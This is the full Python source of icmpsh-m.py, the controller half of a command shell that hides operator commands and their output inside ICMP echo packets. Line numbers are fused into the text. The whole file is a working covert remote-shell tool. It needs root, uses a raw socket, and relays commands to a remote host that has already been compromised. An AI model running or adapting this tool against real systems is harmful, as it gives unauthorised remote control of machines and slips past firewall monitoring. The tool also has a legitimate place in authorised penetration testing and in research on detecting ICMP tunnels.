#!/usr/bin/env python1#2# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in3# Perl by Nico Leidecker <[email protected]>)4#5# Copyright (c) 2010, Bernardo Damele A. G. <[email protected]>6#7#8# This program is free software: you can redistribute it and/or modify9# it under the terms of the GNU General Public License as published by10# the Free Software Foundation, either version 3 of the License, or11# (at your option) any later version.12#13# This program is distributed in the hope that it will be useful,14# but WITHOUT ANY WARRANTY; without even the implied warranty of15# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the16# GNU General Public License for more details.17#18# You should have received a copy of the GNU General Public License19# along with this program. If not, see <http://www.gnu.org/licenses/>.2021import os22import select23import socket24import sys2526def setNonBlocking(fd):27"""28Make a file descriptor non-blocking29"""3031import fcntl3233flags = fcntl.fcntl(fd, fcntl.F_GETFL)34flags = flags | os.O_NONBLOCK35fcntl.fcntl(fd, fcntl.F_SETFL, flags)3637def main(src, dst):38if sys.platform == "nt":39sys.stderr.write('icmpsh master can only run on Posix systems\n')40sys.exit(255)4142try:43from impacket import ImpactDecoder44from impacket import ImpactPacket45except ImportError:46sys.stderr.write('You need to install Python Impacket library first\n')47sys.exit(255)4849# Make standard input a non-blocking file50stdin_fd = sys.stdin.fileno()51setNonBlocking(stdin_fd)5253# Open one socket for ICMP protocol54# A special option is set on the socket so that IP headers are included55# with the returned data56try:57sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)58except socket.error:59sys.stderr.write('You need to run icmpsh master with administrator privileges\n')60sys.exit(1)6162sock.setblocking(0)63sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)6465# Create a new IP packet and set its source and destination addresses66ip = ImpactPacket.IP()67ip.set_ip_src(src)68ip.set_ip_dst(dst)6970# Create a new ICMP packet of type ECHO REPLY71icmp = ImpactPacket.ICMP()72icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)7374# Instantiate an IP packets decoder75decoder = ImpactDecoder.IPDecoder()7677while True:78try:79cmd = ''8081# Wait for incoming replies82if sock in select.select([sock], [], [])[0]:83buff = sock.recv(4096)8485if 0 == len(buff):86# Socket remotely closed87sock.close()88sys.exit(0)8990# Packet received; decode and display it91ippacket = decoder.decode(buff)92icmppacket = ippacket.child()9394# If the packet matches, report it to the user95if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():96# Get identifier and sequence number97ident = icmppacket.get_icmp_id()98seq_id = icmppacket.get_icmp_seq()99data = icmppacket.get_data_as_string()100101if len(data) > 0:102sys.stdout.write(data)103104# Parse command from standard input105try:106cmd = sys.stdin.readline()107except:108pass109110if cmd == 'exit\n':111return112113# Set sequence number and identifier114icmp.set_icmp_id(ident)115icmp.set_icmp_seq(seq_id)116117# Include the command as data inside the ICMP packet118icmp.contains(ImpactPacket.Data(cmd))119120# Calculate its checksum121icmp.set_icmp_cksum(0)122icmp.auto_checksum = 1123124# Have the IP packet contain the ICMP packet (along with its payload)125ip.contains(icmp)126127try:128# Send it to the target host129sock.sendto(ip.get_packet(), (dst, 0))130except socket.error as ex:131sys.stderr.write("'%s'\n" % ex)132sys.stderr.flush()133except:134break135136if __name__ == '__main__':137if len(sys.argv) < 3:138msg = 'missing mandatory options. Execute as root:\n'139msg += './icmpsh-m.py <source IP address> <destination IP address>\n'140sys.stderr.write(msg)141sys.exit(1)142143main(sys.argv[1], sys.argv[2])144145146